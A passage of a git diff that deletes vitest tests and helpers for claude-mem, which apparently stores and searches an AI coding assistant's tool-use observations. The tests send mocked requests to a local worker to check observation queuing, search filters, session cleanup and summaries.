`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - ...complexTool, - cwd: '/project' - }) - } - ); - - // Verify: All metadata preserved in request - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.tool_name).toBe('Task'); - expect(requestBody.tool_input.subagent_type).toBe('Explore'); - expect(requestBody.tool_response.files_analyzed).toHaveLength(2); - }); -}); diff --git a/tests/happy-paths/search.test.ts b/tests/happy-paths/search.test.ts deleted file mode 100644 index 3b5ce3e8..00000000 --- a/tests/happy-paths/search.test.ts +++ /dev/null @@ -1,329 +0,0 @@ -/** - * Happy Path Test: Search (MCP Tools) - * - * Tests that the search functionality correctly finds and returns - * stored observations matching user queries. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { sampleObservation, featureObservation } from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Search (MCP Tools)', () => { - const WORKER_PORT = getWorkerPort(); - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('finds observations matching query', async () => { - // This tests the happy path: - // User asks "what did we do?" → Search skill queries worker → - // Worker searches database → Returns relevant observations - - // Setup: Mock search response with matching observations - const searchResults = [ - { - id: 1, - title: 'Parser bugfix', - content: 'Fixed XML parsing issue with self-closing tags', - type: 'bugfix', - created_at: '2024-01-01T10:00:00Z' - }, - { - id: 2, - title: 'Parser optimization', - content: 'Improved parser performance by 50%', - type: 'feature', - created_at: '2024-01-02T10:00:00Z' - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: searchResults, total: 2 }) - }); - - // Execute: Search for "parser" - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=parser&project=claude-mem` - ); - - // Verify: Found matching observations - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(2); - expect(data.results[0].title).toContain('Parser'); - expect(data.results[1].title).toContain('Parser'); - }); - - it('returns empty results when no matches found', async () => { - // Setup: Mock empty search results - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: [], total: 0 }) - }); - - // Execute: Search for non-existent term - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=nonexistent&project=claude-mem` - ); - - // Verify: Returns empty results gracefully - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(0); - expect(data.total).toBe(0); - }); - - it('supports filtering by observation type', async () => { - // Setup: Mock filtered search results - const bugfixResults = [ - { - id: 1, - title: 'Fixed parser bug', - type: 'bugfix', - created_at: '2024-01-01T10:00:00Z' - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: bugfixResults, total: 1 }) - }); - - // Execute: Search for bugfixes only - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search/by-type?type=bugfix&project=claude-mem` - ); - - // Verify: Returns only bugfixes - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(1); - expect(data.results[0].type).toBe('bugfix'); - }); - - it('supports filtering by concept tags', async () => { - // Setup: Mock concept-filtered results - const conceptResults = [ - { - id: 1, - title: 'How parser works', - concepts: ['how-it-works', 'parser'], - created_at: '2024-01-01T10:00:00Z' - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: conceptResults, total: 1 }) - }); - - // Execute: Search by concept - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search/by-concept?concept=how-it-works&project=claude-mem` - ); - - // Verify: Returns observations with that concept - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(1); - expect(data.results[0].concepts).toContain('how-it-works'); - }); - - it('supports pagination for large result sets', async () => { - // Setup: Mock paginated results - const page1Results = Array.from({ length: 20 }, (_, i) => ({ - id: i + 1, - title: `Observation ${i + 1}`, - created_at: '2024-01-01T10:00:00Z' - })); - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ - results: page1Results, - total: 50, - page: 1, - limit: 20 - }) - }); - - // Execute: Search with pagination - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=observation&project=claude-mem&limit=20&offset=0` - ); - - // Verify: Returns paginated results - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(20); - expect(data.total).toBe(50); - expect(data.page).toBe(1); - }); - - it('supports date range filtering', async () => { - // Setup: Mock date-filtered results - const recentResults = [ - { - id: 5, - title: 'Recent observation', - created_at: '2024-01-05T10:00:00Z' - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: recentResults, total: 1 }) - }); - - // Execute: Search with date range - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=observation&project=claude-mem&dateStart=2024-01-05&dateEnd=2024-01-06` - ); - - // Verify: Returns observations in date range - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(1); - expect(data.results[0].created_at).toContain('2024-01-05'); - }); - - it('returns observations with file references', async () => { - // Setup: Mock results with file paths - const fileResults = [ - { - id: 1, - title: 'Updated parser', - files: ['src/parser.ts', 'tests/parser.test.ts'], - created_at: '2024-01-01T10:00:00Z' - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: fileResults, total: 1 }) - }); - - // Execute: Search - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=parser&project=claude-mem` - ); - - // Verify: File references included - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results[0].files).toHaveLength(2); - expect(data.results[0].files).toContain('src/parser.ts'); - }); - - it('supports semantic search ranking', async () => { - // Setup: Mock results ordered by relevance - const rankedResults = [ - { - id: 2, - title: 'Parser bug fix', - content: 'Fixed critical parser bug', - relevance: 0.95 - }, - { - id: 5, - title: 'Parser documentation', - content: 'Updated parser docs', - relevance: 0.72 - }, - { - id: 10, - title: 'Mentioned parser briefly', - content: 'Also updated the parser', - relevance: 0.45 - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ - results: rankedResults, - total: 3, - orderBy: 'relevance' - }) - }); - - // Execute: Search with relevance ordering - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=parser+bug&project=claude-mem&orderBy=relevance` - ); - - // Verify: Results ordered by relevance - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(3); - expect(data.results[0].relevance).toBeGreaterThan(data.results[1].relevance); - expect(data.results[1].relevance).toBeGreaterThan(data.results[2].relevance); - }); - - it('handles special characters in search queries', async () => { - // Setup: Mock results for special character query - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: [], total: 0 }) - }); - - // Execute: Search with special characters - const queries = [ - 'function*', - 'variable: string', - 'array[0]', - 'path/to/file', - 'tag', - 'price $99' - ]; - - for (const query of queries) { - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=${encodeURIComponent(query)}&project=claude-mem` - ); - } - - // Verify: All queries processed without error - expect(global.fetch).toHaveBeenCalledTimes(queries.length); - }); - - it('supports project-specific search', async () => { - // Setup: Mock results from specific project - const projectResults = [ - { - id: 1, - title: 'Claude-mem feature', - project: 'claude-mem', - created_at: '2024-01-01T10:00:00Z' - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ results: projectResults, total: 1 }) - }); - - // Execute: Search specific project - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=feature&project=claude-mem` - ); - - // Verify: Returns only results from that project - expect(response.ok).toBe(true); - const data = await response.json(); - expect(data.results).toHaveLength(1); - expect(data.results[0].project).toBe('claude-mem'); - }); -}); diff --git a/tests/happy-paths/session-cleanup.test.ts b/tests/happy-paths/session-cleanup.test.ts deleted file mode 100644 index 3a1b6110..00000000 --- a/tests/happy-paths/session-cleanup.test.ts +++ /dev/null @@ -1,247 +0,0 @@ -/** - * Happy Path Test: Session Cleanup (SessionEnd) - * - * Tests that when a session ends, the worker marks it complete - * and performs necessary cleanup operations. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { sessionScenario } from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Session Cleanup (SessionEnd)', () => { - const WORKER_PORT = getWorkerPort(); - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('marks session complete and stops SDK agent', async () => { - // This tests the happy path: - // Session ends → Hook notifies worker → Worker marks session complete → - // SDK agent stopped → Resources cleaned up - - // Setup: Mock successful response from worker - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'completed' }) - }); - - // Execute: Send complete request (what cleanup-hook does) - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - reason: 'user_exit' - }) - } - ); - - // Verify: Session marked complete - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('completed'); - - // Verify: Correct data sent to worker - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.claudeSessionId).toBe(sessionScenario.claudeSessionId); - expect(requestBody.reason).toBe('user_exit'); - }); - - it('handles missing session ID gracefully', async () => { - // Setup: Mock error response - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: async () => ({ error: 'Missing claudeSessionId' }) - }); - - // Execute: Send complete request without session ID - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - reason: 'user_exit' - }) - } - ); - - // Verify: Returns error - expect(response.ok).toBe(false); - expect(response.status).toBe(400); - const error = await response.json(); - expect(error.error).toContain('Missing claudeSessionId'); - }); - - it('handles different session end reasons', async () => { - // Setup: Track all cleanup requests - const cleanupRequests: any[] = []; - global.fetch = vi.fn().mockImplementation(async (url, options) => { - const body = JSON.parse(options.body); - cleanupRequests.push(body); - return { - ok: true, - status: 200, - json: async () => ({ status: 'completed' }) - }; - }); - - // Test different end reasons - const reasons = [ - 'user_exit', // User explicitly ended session - 'timeout', // Session timed out - 'error', // Error occurred - 'restart', // Session restarting - 'clear' // User cleared context - ]; - - // Execute: Send cleanup for each reason - for (const reason of reasons) { - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: `session-${reason}`, - reason - }) - } - ); - } - - // Verify: All cleanup requests processed - expect(cleanupRequests.length).toBe(5); - expect(cleanupRequests.map(r => r.reason)).toEqual(reasons); - }); - - it('completes multiple sessions independently', async () => { - // Setup: Track session completions - const completedSessions: string[] = []; - global.fetch = vi.fn().mockImplementation(async (url, options) => { - const body = JSON.parse(options.body); - completedSessions.push(body.claudeSessionId); - return { - ok: true, - status: 200, - json: async () => ({ status: 'completed' }) - }; - }); - - const sessions = [ - 'session-abc-123', - 'session-def-456', - 'session-ghi-789' - ]; - - // Execute: Complete multiple sessions - for (const sessionId of sessions) { - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - reason: 'user_exit' - }) - } - ); - } - - // Verify: All sessions completed - expect(completedSessions).toEqual(sessions); - }); - - it('handles cleanup when session not found', async () => { - // Setup: Mock 404 response for non-existent session - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 404, - json: async () => ({ error: 'Session not found' }) - }); - - // Execute: Try to complete non-existent session - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: 'non-existent-session', - reason: 'user_exit' - }) - } - ); - - // Verify: Returns 404 (graceful handling) - expect(response.ok).toBe(false); - expect(response.status).toBe(404); - }); - - it('supports optional metadata in cleanup request', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'completed' }) - }); - - // Execute: Send cleanup with additional metadata - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - reason: 'user_exit', - duration_seconds: 1800, - observations_count: 25, - project: 'claude-mem' - }) - } - ); - - // Verify: Metadata included in request - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.duration_seconds).toBe(1800); - expect(requestBody.observations_count).toBe(25); - expect(requestBody.project).toBe('claude-mem'); - }); - - it('handles worker being down during cleanup', async () => { - // Setup: Mock worker unreachable - global.fetch = vi.fn().mockRejectedValue(new Error('ECONNREFUSED')); - - // Execute: Attempt to complete session - try { - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - reason: 'user_exit' - }) - } - ); - // Should throw, so fail if we get here - expect(true).toBe(false); - } catch (error: any) { - // Verify: Error indicates worker is down - expect(error.message).toContain('ECONNREFUSED'); - } - - // The hook should log this but not fail the session end - // (This graceful degradation would be tested in hook-specific tests) - }); -}); diff --git a/tests/happy-paths/session-init.test.ts b/tests/happy-paths/session-init.test.ts deleted file mode 100644 index c4b69f14..00000000 --- a/tests/happy-paths/session-init.test.ts +++ /dev/null @@ -1,182 +0,0 @@ -/** - * Happy Path Test: Session Initialization - * - * Tests that when a user's first tool use occurs, the session is - * created in the database and observations can be queued. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { bashCommandScenario, sessionScenario } from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Session Initialization (UserPromptSubmit)', () => { - const WORKER_PORT = getWorkerPort(); - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('creates session when first observation is sent', async () => { - // This tests the happy path: - // User types first prompt → Tool runs → Hook sends observation → - // Worker creates session → Observation queued for SDK processing - - // Setup: Mock successful response from worker - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued', sessionId: 1 }) - }); - - // Execute: Send first observation (what save-hook does) - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: bashCommandScenario.tool_name, - tool_input: bashCommandScenario.tool_input, - tool_response: bashCommandScenario.tool_response, - cwd: '/project/claude-mem' - }) - } - ); - - // Verify: Session created and observation queued - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - expect(result.sessionId).toBeDefined(); - - // Verify: fetch was called with correct endpoint and data - expect(global.fetch).toHaveBeenCalledWith( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - expect.objectContaining({ - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: expect.stringContaining(sessionScenario.claudeSessionId) - }) - ); - }); - - it('handles missing claudeSessionId gracefully', async () => { - // Setup: Mock error response for missing session ID - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: async () => ({ error: 'Missing claudeSessionId' }) - }); - - // Execute: Send observation without session ID - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - tool_name: 'Bash', - tool_input: { command: 'ls' }, - tool_response: { stdout: 'file.txt' } - }) - } - ); - - // Verify: Returns 400 error - expect(response.ok).toBe(false); - expect(response.status).toBe(400); - const error = await response.json(); - expect(error.error).toContain('Missing claudeSessionId'); - }); - - it('queues multiple observations for the same session', async () => { - // Setup: Mock successful responses - let callCount = 0; - global.fetch = vi.fn().mockImplementation(async () => { - const currentId = ++callCount; - return { - ok: true, - status: 200, - json: async () => ({ status: 'queued', observationId: currentId }) - }; - }); - - const sessionId = sessionScenario.claudeSessionId; - - // Execute: Send multiple observations for the same session - const obs1 = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - tool_name: 'Read', - tool_input: { file_path: '/test.ts' }, - tool_response: { content: 'code...' } - }) - } - ); - - const obs2 = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - tool_name: 'Edit', - tool_input: { file_path: '/test.ts', old_string: 'old', new_string: 'new' }, - tool_response: { success: true } - }) - } - ); - - // Verify: Both observations were queued successfully - expect(obs1.ok).toBe(true); - expect(obs2.ok).toBe(true); - - const result1 = await obs1.json(); - const result2 = await obs2.json(); - - expect(result1.status).toBe('queued'); - expect(result2.status).toBe('queued'); - expect(result1.observationId).toBe(1); - expect(result2.observationId).toBe(2); - }); - - it('includes project context from cwd', async () => { - // Setup: Mock successful response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - const projectPath = '/Users/alice/projects/my-app'; - - // Execute: Send observation with cwd - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: 'Bash', - tool_input: { command: 'npm test' }, - tool_response: { stdout: 'PASS', exit_code: 0 }, - cwd: projectPath - }) - } - ); - - // Verify: Request includes cwd - expect(global.fetch).toHaveBeenCalledWith( - expect.any(String), - expect.objectContaining({ - body: expect.stringContaining(projectPath) - }) - ); - }); -}); diff --git a/tests/happy-paths/session-summary.test.ts b/tests/happy-paths/session-summary.test.ts deleted file mode 100644 index 15ead71f..00000000 --- a/tests/happy-paths/session-summary.test.ts +++ /dev/null @@ -1,248 +0,0 @@ -/** - * Happy Path Test: Session Summary (Stop) - * - * Tests that when a user pauses or stops a session, the SDK - * generates a summary from the conversation context. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { sessionSummaryScenario, sessionScenario } from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Session Summary (Stop)', () => { - const WORKER_PORT = getWorkerPort(); - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('generates summary from last messages', async () => { - // This tests the happy path: - // User stops/pauses → Hook sends last messages → Worker queues for SDK → - // SDK generates summary → Summary saved to database - - // Setup: Mock successful response from worker - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send summarize request (what summary-hook does) - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionSummaryScenario.claudeSessionId, - last_user_message: sessionSummaryScenario.last_user_message, - last_assistant_message: sessionSummaryScenario.last_assistant_message, - cwd: '/project/claude-mem' - }) - } - ); - - // Verify: Summary queued successfully - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - - // Verify: Correct data sent to worker - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.last_user_message).toBe('Thanks, that fixed it!'); - expect(requestBody.last_assistant_message).toContain('parser'); - }); - - it('handles missing session ID gracefully', async () => { - // Setup: Mock error response - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: async () => ({ error: 'Missing claudeSessionId' }) - }); - - // Execute: Send summarize without session ID - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - last_user_message: 'Some message', - last_assistant_message: 'Some response' - }) - } - ); - - // Verify: Returns error - expect(response.ok).toBe(false); - expect(response.status).toBe(400); - const error = await response.json(); - expect(error.error).toContain('Missing claudeSessionId'); - }); - - it('generates summary for different conversation types', async () => { - // Setup: Mock worker responses - const summaries: any[] = []; - global.fetch = vi.fn().mockImplementation(async (url, options) => { - const body = JSON.parse(options.body); - summaries.push(body); - return { - ok: true, - status: 200, - json: async () => ({ status: 'queued', summaryId: summaries.length }) - }; - }); - - // Test different conversation scenarios - const scenarios = [ - { - type: 'bug_fix', - user: 'Thanks for fixing the parser bug!', - assistant: 'I fixed the XML parser to handle self-closing tags in src/parser.ts:42.' - }, - { - type: 'feature_addition', - user: 'Perfect! The search feature works great.', - assistant: 'I added FTS5 full-text search in src/services/search.ts.' - }, - { - type: 'exploration', - user: 'That helps me understand the codebase better.', - assistant: 'The authentication flow uses JWT tokens stored in localStorage.' - }, - { - type: 'refactoring', - user: 'Much cleaner now!', - assistant: 'I refactored the duplicate code into a shared utility function in src/utils/helpers.ts.' - } - ]; - - // Execute: Send summary for each scenario - for (const scenario of scenarios) { - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: `session-${scenario.type}`, - last_user_message: scenario.user, - last_assistant_message: scenario.assistant, - cwd: '/project' - }) - } - ); - } - - // Verify: All summaries queued - expect(summaries.length).toBe(4); - expect(summaries[0].last_user_message).toContain('parser bug'); - expect(summaries[1].last_user_message).toContain('search'); - expect(summaries[2].last_user_message).toContain('understand'); - expect(summaries[3].last_user_message).toContain('cleaner'); - }); - - it('preserves long conversation context', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send summary with long messages (realistic scenario) - const longAssistantMessage = `I've fixed the bug in the parser. Here's what I did: - -1. Added null check for empty tags in src/parser.ts:42 -2. Updated the regex pattern to handle self-closing tags -3. Added unit tests to verify the fix works -4. Ran the test suite and confirmed all tests pass - -The issue was that the parser wasn't handling XML tags like correctly. -It was only expecting format. Now it handles both formats.`; - - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - last_user_message: 'Thanks for the detailed explanation!', - last_assistant_message: longAssistantMessage, - cwd: '/project' - }) - } - ); - - // Verify: Long message preserved - expect(response.ok).toBe(true); - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.last_assistant_message.length).toBeGreaterThan(200); - expect(requestBody.last_assistant_message).toContain('parser.ts:42'); - expect(requestBody.last_assistant_message).toContain('self-closing tags'); - }); - - it('handles empty or minimal messages gracefully', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send summary with minimal messages - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - last_user_message: 'Thanks!', - last_assistant_message: 'Done.', - cwd: '/project' - }) - } - ); - - // Verify: Still processes minimal messages - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - }); - - it('includes project context from cwd', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - const projectPath = '/Users/alice/projects/my-app'; - - // Execute: Send summary with project context - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - last_user_message: 'Great!', - last_assistant_message: 'Fixed the bug.', - cwd: projectPath - }) - } - ); - - // Verify: Project context included - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.cwd).toBe(projectPath); - }); -}); diff --git a/tests/helpers/mocks.ts b/tests/helpers/mocks.ts deleted file mode 100644 index ea8ea3d5..00000000 --- a/tests/helpers/mocks.ts +++ /dev/null @@ -1,82 +0,0 @@ -/** - * Reusable mock factories for testing dependencies. - */ -import { vi } from 'vitest'; - -/** - * Mock fetch that succeeds with a JSON response - */ -export const mockFetchSuccess = (data: any = { success: true }) => { - return vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => data, - text: async () => JSON.stringify(data) - }); -}; - -/** - * Mock fetch that fails with worker down error - */ -export const mockFetchWorkerDown = () => { - return vi.fn().mockRejectedValue( - new Error('ECONNREFUSED') - ); -}; - -/** - * Mock fetch that returns 500 error - */ -export const mockFetchServerError = () => { - return vi.fn().mockResolvedValue({ - ok: false, - status: 500, - json: async () => ({ error: 'Internal Server Error' }), - text: async () => 'Internal Server Error' - }); -}; - -/** - * Mock database operations - */ -export const mockDb = { - createSDKSession: vi.fn().mockReturnValue(1), - addObservation: vi.fn().mockReturnValue(1), - getObservationById: vi.fn(), - getObservations: vi.fn().mockReturnValue([]), - searchObservations: vi.fn().mockReturnValue([]), - markSessionCompleted: vi.fn(), - getSession: vi.fn(), - getSessions: vi.fn().mockReturnValue([]), -}; - -/** - * Mock SDK agent - */ -export const mockSdkAgent = { - startSession: vi.fn(), - stopSession: vi.fn(), - processObservation: vi.fn(), - generateSummary: vi.fn(), -}; - -/** - * Mock session manager - */ -export const mockSessionManager = { - queueObservation: vi.fn(), - queueSummarize: vi.fn(), - getSession: vi.fn(), - createSession: vi.fn(), - completeSession: vi.fn(), -}; - -/** - * Helper to reset all mocks - */ -export const resetAllMocks = () => { - vi.clearAllMocks(); - Object.values(mockDb).forEach(mock => mock.mockClear()); - Object.values(mockSdkAgent).forEach(mock => mock.mockClear()); - Object.values(mockSessionManager).forEach(mock => mock.mockClear()); -}; diff --git a/tests/helpers/scenarios.ts b/tests/helpers/scenarios.ts deleted file mode 100644 index dabe206d..00000000 --- a/tests/helpers/scenarios.ts +++ /dev/null @@ -1,107 +0,0 @@ -/** - * Real-world test scenarios extracted from actual claude-mem usage. - * These represent typical tool usage patterns that generate observations. - */ - -// A real Bash command observation -export const bashCommandScenario = { - tool_name: 'Bash', - tool_input: { - command: 'git status', - description: 'Check git status' - }, - tool_response: { - stdout: 'On branch main\nnothing to commit, working tree clean', - exit_code: 0 - } -}; - -// A real Read file observation -export const readFileScenario = { - tool_name: 'Read', - tool_input: { - file_path: '/project/src/index.ts' - }, - tool_response: { - content: 'export function main() { console.log("Hello"); }' - } -}; - -// A real Write file observation -export const writeFileScenario = { - tool_name: 'Write', - tool_input: { - file_path: '/project/src/config.ts', - content: 'export const API_KEY = "test";' - }, - tool_response: { - success: true - } -}; - -// A real Edit file observation -export const editFileScenario = { - tool_name: 'Edit', - tool_input: { - file_path: '/project/src/app.ts', - old_string: 'const PORT = 3000;', - new_string: 'const PORT = 8080;' - }, - tool_response: { - success: true - } -}; - -// A real Grep search observation -export const grepScenario = { - tool_name: 'Grep', - tool_input: { - pattern: 'function.*main', - path: '/project/src' - }, - tool_response: { - matches: [ - 'src/index.ts:10:export function main() {', - 'src/cli.ts:5:function mainCli() {' - ] - } -}; - -// A real session with prompts -export const sessionScenario = { - claudeSessionId: 'abc-123-def-456', - project: 'claude-mem', - userPrompt: 'Help me fix the bug in the parser' -}; - -// Another session scenario -export const sessionWithBuildScenario = { - claudeSessionId: 'xyz-789-ghi-012', - project: 'my-app', - userPrompt: 'Run the build and fix any type errors' -}; - -// Test observation data -export const sampleObservation = { - title: 'Fixed parser bug', - type: 'bugfix' as const, - content: 'The XML parser was not handling empty tags correctly. Added check for self-closing tags.', - files: ['/project/src/parser.ts'], - concepts: ['bugfix', 'parser', 'xml'] -}; - -// Another observation -export const featureObservation = { - title: 'Added search functionality', - type: 'feature' as const, - content: 'Implemented full-text search using FTS5 for observations and sessions.', - files: ['/project/src/services/search.ts'], - concepts: ['feature', 'search', 'fts5'] -}; - -// Session summary scenario -export const sessionSummaryScenario = { - claudeSessionId: 'abc-123-def-456', - last_user_message: 'Thanks, that fixed it!', - last_assistant_message: 'The bug was in the parser. I added a check for self-closing tags in src/parser.ts:42.' -}; diff --git a/tests/integration/context-inject-early.test.ts b/tests/integration/context-inject-early.test.ts deleted file mode 100644 index f5084f31..00000000 --- a/tests/integration/context-inject-early.test.ts +++ /dev/null @@ -1,53 +0,0 @@ -/** - * Integration Test: Context Inject Early Access - * - * Tests that /api/context/inject endpoint is available immediately - * when worker starts, even before background initialization completes. - * - * This prevents the 404 error described in the issue where the hook - * tries to access the endpoint before SearchRoutes are registered. - */ -import { describe, it, expect } from 'vitest'; -import fs from 'fs'; -import path from 'path'; - -describe('Context Inject Early Access', () => { - const workerPath = path.join(__dirname, '../../plugin/scripts/worker-service.cjs'); - - it('should have /api/context/inject route available immediately on startup', async () => { - // This test verifies the fix by checking that: - // 1. The route exists immediately (no 404) - // 2. The route waits for initialization before processing - // 